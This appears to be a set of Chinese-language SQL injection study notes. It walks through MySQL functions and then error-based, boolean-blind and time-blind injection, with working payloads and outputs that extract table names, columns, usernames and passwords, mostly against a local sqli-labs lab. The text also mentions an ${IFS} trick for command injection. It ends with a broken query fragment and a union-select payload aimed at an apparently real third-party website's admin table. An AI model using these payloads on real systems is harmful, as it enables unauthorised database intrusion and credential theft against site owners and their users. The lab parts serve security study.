0x01 SQL注入
1、连接符:mysql 空格,Oracle ||,sql server +
2、黑魔法${IFS},Linux下可以使用其代替空格
0x02 相关函数
参考数据库
mid() 从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
limit() 返回前几条或者中间某几行数据
select * from table limit m,n 其m指记录始index0始表示第条记录 n指第m+1条始取n条
concat与concat_ws与group_concat
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
Count() 聚集函数,统计元祖的个数
|
|
rand() 用于产生一个0~1的随机数
|
|
floor() 向下取整
|
|
group by 依据我们想要的规则对结果进行分组
|
|
length() 返回字符串的长度
|
|
Substr() 截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)
|
|
Ascii() 返回字符串的ascii码
|
|
0x03 基于报错注入
常用floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)
floor报错
获取数据库:
1234567mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;+----------+-------------+| count(*) | name |+----------+-------------+| 58 | :security:0 || 47 | :security:1 |+----------+-------------+获取表名
1234567mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;+----------+-----------+| count(*) | name |+----------+-----------+| 44 | ::users:0 || 61 | ::users:1 |+----------+-----------+获取字段名
1234567mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;+----------+-------------+| count(*) | name |+----------+-------------+| 51 | ::user_id:0 || 54 | ::user_id:1 |+----------+-------------+获取内容
1234567mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;+----------+----------+| count(*) | name |+----------+----------+| 46 | ::Dumb:0 || 59 | ::Dumb:1 |+----------+----------+
UpdateXml报错
获取表名
12mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~users'获取字段
1234mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~user'获取内容
1234mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~Dumb'mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'
extractvalue报错
获取表名
12mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));ERROR 1105 (HY000): XPATH syntax error: '\users'获取字段
1234mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));ERROR 1105 (HY000): XPATH syntax error: '\Dumb'
0x04 基于布尔盲注
查看表名
123456mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;+------------+| table_name |+------------+| emails |+------------+获取表名第一个字符
123456mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;+------+| m |+------+| e |+------+获取表名第一个字符的ASCII
123456mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;+------+| m |+------+| 101 |+------+
获取字段名与字段内容原理一样。
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
- 先判断当前数据库的长度1http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
发现当值为8的时候,页面就没有显示。那么说明database()的长度是8
- 获取数据库名
|
|
- 获取表长度1http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
发现当值为6的时候,页面就没有显示。那么说明表的长度是6
获取表名
12和上面类似,只需要把payload修改为下面即可:http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23获取列名
1payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"获取内容
12payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"
0x05 基于时间盲注
If(expr1,expr2,expr3) 判断语句
if(database()=’security’,1,2) 判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。
|
|
以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。
数据库长度判断
1http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+使用二分法获得数据库名
|
|
剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。
1,column_name from information_schema.columns where table_schema = database() and table_name = 0x6d63795f61646d696e
http://www.innogreen.com.hk/VerticalGreening.php?id=-22 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x6d63795f61646d696e #